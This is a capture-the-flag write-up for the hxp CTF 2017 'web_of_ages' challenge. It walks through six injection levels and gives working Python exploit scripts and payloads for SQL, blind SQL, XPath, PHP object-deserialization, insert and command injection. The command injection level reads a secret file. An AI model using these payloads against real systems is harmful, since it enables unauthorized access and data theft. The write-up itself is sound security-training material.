hxp CTF 2017: web150 "web_of_ages" writeup

web_of_ages consisted of six levels, all with one sort of injection exploit.

  • Level 1: SQL injection
  • Level 2: Blind SQL injection
  • Level 3: XPath injection
  • Level 4: Object injection
  • Level 5: Insert injection
  • Level 6: Command injection

Level 1

This level had basically no filter and a normal “print” statement, so all you needed to do was to select the username and password from the database. The username was especially easy, just circumvent the check with {"user":"???", "' OR 1=1 -- "}, the result was admin. To get the password we used UNION: {"user":"admin", "password":"' AND 0=1 UNION (SELECT password, password, password FROM auth WHERE username = '{}') -- "}.

Level 2

Here we had the same scenario as in Level 1, just blind. This meant that we had to adjust our exploit to just brute one char of each field after the other. The delicacy is to make sure to get upper- and lowercase correct here.

#! /usr/bin/python3.3
import argparse
from collections import OrderedDict
import re
import requests

url = "http://task02.webhacky1/tasks/injection2/auth2.php"
proxies = dict()

def send_request(fieldname, offset, number):
    password = "' OR 1=1 AND ascii(substring((SELECT %(fieldname)s from auth limit 0,1),%(offset)s,1))>%(number)s ;#"

    payload = {
        'username': 'admin',
        'password': password % {'fieldname': fieldname, 'offset': offset, 'number': number}
    }

    r = requests.post(url, data=payload)

    return "alert alert-danger" not in r.text

def bruteforce_step(fieldname, offset, bottom, top):
    if bottom == top:
        print("\b"+chr(bottom), end="", flush=True)
        return bottom

    pivot = int((top-bottom)/2 + bottom)
    print("\b"+chr(pivot), end="", flush=True)

    if send_request(fieldname, offset, pivot):
        # higher
        return bruteforce_step(fieldname, offset, pivot+1, top)
    else:
        # lower
        return bruteforce_step(fieldname, offset, bottom, pivot)

def bruteforce_characters():
    login = OrderedDict([('username', ''), ('password', '')])
    for fieldname in login:
        offset = 1
        while send_request(fieldname, offset, 0):
            print(" ", end="")
            character = chr(bruteforce_step(fieldname, offset, 0, 128))
            login[fieldname] += character
            offset += 1
        print('') # newline
    return login

def login(loginData):
    payload = {
        'username': loginData['username'],
        'password': loginData['password']
    }

    r = requests.post(url, data=payload)

    return r.text

def main():
    loginData = bruteforce_characters()
    response = login(loginData)

    print(response)


if __name__ == "__main__":
    main()

Level 3

Here we had a simple XPath injection, easy and without any filters in place. You can read more about the basics of an XPath injection in this OWASP article about it.

#! /usr/bin/python3.3
import string
import argparse
from collections import OrderedDict
import re
import requests

url = "http://URL:PORT/"

def send_request(user, password):
    #password = "' or substring((//Accounts[position()=1]/child::node()[position()=1]),1,1)='%s' and ''='"

    payload = {
        'username': user,
        'password': password
    }

    r = requests.post(url, data=payload)

    return r.text

def login(loginData):
    payload = {
        'username': loginData['username'],
        'password': loginData['password']
    }

    r = requests.post(url, data=payload)

    return r.text

def main():
    accountCount = 0

    for c in range(20):
        password = "' or count(../account)='%d' and ''='" % c
        response = send_request('admin', password)
        if "alert alert-danger" not in response:
            accountCount = c
            break

    print("%d Accounts found" % accountCount)


    for account in range(1, accountCount+1):
        print("Account %d" % account)

        loginData = OrderedDict([('username', ''), ('password', '')])
        for fieldname in loginData:
            length = 0
            for i in range(50):
                #password = "' or string-length(../child::node()[position()=1]/child::*[position()=3])='%d" % i
                #password = "' or string-length(../account[position()=%d]/child::*[position()=%d])='%d" % (account, userpass, i)
                password = "' or string-length(../account[position()=%d]/%s)='%d" % (account, fieldname, i)
                response = send_request('admin', password)
                if "alert alert-danger" not in response:
                    length = i
                    break

            output = ''
            for offset in range(length):
                print(' ', end="")
                for c in string.printable:
                    print("\b"+c, end="", flush=True)
                    #password = "' or substring(name(parent::*[position()=1]),%s,1)='%s" % (offset+1, c)
                    #password = "' or substring(./child::*[position()=3],%s,1)='%s" % (offset+1, c)
                    password = "' or substring(../account[position()=%d]/%s,%s,1)='%s" % (account, fieldname, offset+1, c)
                    response = send_request('admin', password)
                    if "alert alert-danger" not in response:
                        output += c
                        break

            print('')
            loginData[fieldname] = output

        response = send_request(loginData['username'], loginData['password'])
        print(response)

if __name__ == "__main__":
    main()

Level 4

Now we have an object injection and the hint to look for the source in the repository. The repository was located in ./.git and could be downloaded with any tool of your choosing, e.g. this one.

The file contained classes.php

<?php

class user {

    public $name = 'guest';
    public $state = 'guest';

    private $system;

    public function __construct(){
        $this->system = new core();
    }

    public function do_login($user, $password){
        if($this->system->check_login_data($user, $password)){
            $this->name = $user;
            return true;
        }

        return false;
    }

}


class core {

    private $mode = 'productive';
    protected $db;

    public function __construct(){
        $this->connect_to_db();
    }

    public function __wakeup(){
        $this->connect_to_db();
    }

    private function connect_to_db(){
        $this->db = new mysqli("localhost", "auth7", "jNu6bewP9uy7VCbs", "auth7");
    }

    public function check_login_data( $name, $password ){
        $q = sprintf('SELECT * FROM auth7 WHERE name = "%s"', $this->db->real_escape_string($name));
        $qres = $this->db->query($q);
        if($qres->num_rows == 0)
            return false;

        $user = $qres->fetch_assoc();

        if($this->mode === 'debug')
            $this->dbg_info($user);

        if($user['password'] == $password){
            return true;
        }

        return false;

    }

    public function call_bin( $path ){
        if($this->mode === 'debug')
            $this->dbg_info( $path );
        
        return passthru( $path );
    }

    public function eval_code( $code ){
        if($this->mode === 'debug')
            $this->dbg_info( $code );

        ob_start();
        eval($code);
        $tmp = ob_get_clean();

        return $tmp;
    }

    private function dbg_info( $data ){
        printf('DEBUG %s: %s', date('H:i:s'), var_export($data, true));
    }

}

?>

and index.php

if(isset($_COOKIE['user'])){
    $user = unserialize(base64_decode($_COOKIE['user']));
} else {
    $user = new user();
}

You needed to craft a custom cookie and set the $core->mode to debug, this would print the password out for you upon trying to login as admin the next time.

#! /usr/bin/python3.3
import string
import argparse
from collections import OrderedDict
import re
import requests

url = "http://URL:PORT/"

def send_request(user, password, cookies):
    payload = {
        'username': user,
        'password': password
    }

    r = requests.post(url, data=payload, cookies=cookies)

    return r.text

def main():
    cookies = {'user': 'Tzo0OiJ1c2VyIjozOntzOjQ6Im5hbWUiO3M6NToiZ3Vlc3QiO3M6NToic3RhdGUiO3M6NToiZ3Vlc3QiO3M6MTI6IgB1c2VyAHN5c3RlbSI7Tzo0OiJjb3JlIjoyOntzOjEwOiIAY29yZQBtb2RlIjtzOjU6ImRlYnVnIjtzOjU6IgAqAGRiIjtPOjY6Im15c3FsaSI6MTk6e3M6MTM6ImFmZmVjdGVkX3Jvd3MiO047czoxMToiY2xpZW50X2luZm8iO047czoxNDoiY2xpZW50X3ZlcnNpb24iO047czoxMzoiY29ubmVjdF9lcnJubyI7TjtzOjEzOiJjb25uZWN0X2Vycm9yIjtOO3M6NToiZXJybm8iO047czo1OiJlcnJvciI7TjtzOjEwOiJlcnJvcl9saXN0IjtOO3M6MTE6ImZpZWxkX2NvdW50IjtOO3M6OToiaG9zdF9pbmZvIjtOO3M6NDoiaW5mbyI7TjtzOjk6Imluc2VydF9pZCI7TjtzOjExOiJzZXJ2ZXJfaW5mbyI7TjtzOjE0OiJzZXJ2ZXJfdmVyc2lvbiI7TjtzOjQ6InN0YXQiO047czo4OiJzcWxzdGF0ZSI7TjtzOjE2OiJwcm90b2NvbF92ZXJzaW9uIjtOO3M6OToidGhyZWFkX2lkIjtOO3M6MTM6Indhcm5pbmdfY291bnQiO047fX19'}
    response = send_request('admin', 'dummy', cookies)

    passwordPattern = re.compile("'password' \=\> '([\W\w]*?)'")
    m = passwordPattern.search(response)
    password = m.group(1)
    print("Password: ", password)

    cookies = {}
    response = send_request('admin', password, cookies)
    print(response)

if __name__ == "__main__":
    main()

Level 5

Almost done, this time we have to fight an insert injection. You are presented with a login and registration page, but this time around the login is completely safe and the registration process is vulnerable.

After creating a dummy user and logging in you see that there is a status field in the table that you can use to extract data.

#!/usr/bin/python3.6

import sys, re
import requests
import random, string

def inject(txt):
    for i in range(3):
        username = "{}".format(''.join(random.choices(string.ascii_lowercase + string.digits, k=12)))
        password = "u', ({})) -- ".format(txt)
        if register_account(username, password):
            payload = {'username': username, 'password': 'u'}
            data = requests.post("http://IP:PORT/", data=payload).text
            return re.findall("status is: ([^\s]*)", data, re.S)[0]
    return False

def register_account(username, password):
    payload = {'username': username, 'password': password}
    data = requests.post("http://IP:PORT/?register", data=payload).text
    return ("Registration was successful" in data)

def login(username, password):
    payload = {'username': username, 'password': password}
    data = requests.post("http://IP:PORT/", data=payload).text
    return data

def get_admin_password():
    query = "SELECT SUBSTRING(password, {},5) AS p FROM users AS u WHERE u.name = \"admin\" LIMIT 1"
    password = ""
    while True:
        substr = inject(query.format(len(password)+1))
        if substr and len(substr) > 0:
            password = password + substr
            if len(substr) < 5:
                break
        else:
            break

    return password


def main(args):
    password = get_admin_password()
    data = login("admin", password)
    print(data)


if __name__ == "__main__":
    main(sys.argv)

Level 6

Final level. This time we basically have “MD5 as a Service” and the command line injection gets pretty in your face since sending ; is simply refusing to be executed. The only tricky part is a check that looks like the output seems to be a valid md5, so we have to do some improvisation.

#!/usr/bin/python3

import sys, re
import requests
import random, string

ext_url = "http://IP:PORT/"

def get_page(txt = ""):
    payload = {'str': txt}
    return requests.get(ext_url, params=payload).text

def get_hash(data):
    return re.findall('([0-9a-f]{32})', data, re.S)[0]

def main(args):
    file = ""
    query = "\\' | cat .htsecret | od -j {} -N 16 -A n -v -t x1 | tr -d ' \\n' # "
    i = 0
    while True:
        data = get_page(query.format(i))
        if "does not look" not in data and "seems like there was an error" not in data:
            file = file + get_hash(data)
            i = i + 16
        else:
            break

    if len(file) > 0:
        data = bytes.fromhex(file).decode('utf-8')

        if len(data) > 0:
            print(data.strip())

if __name__ == "__main__":
    main(sys.argv)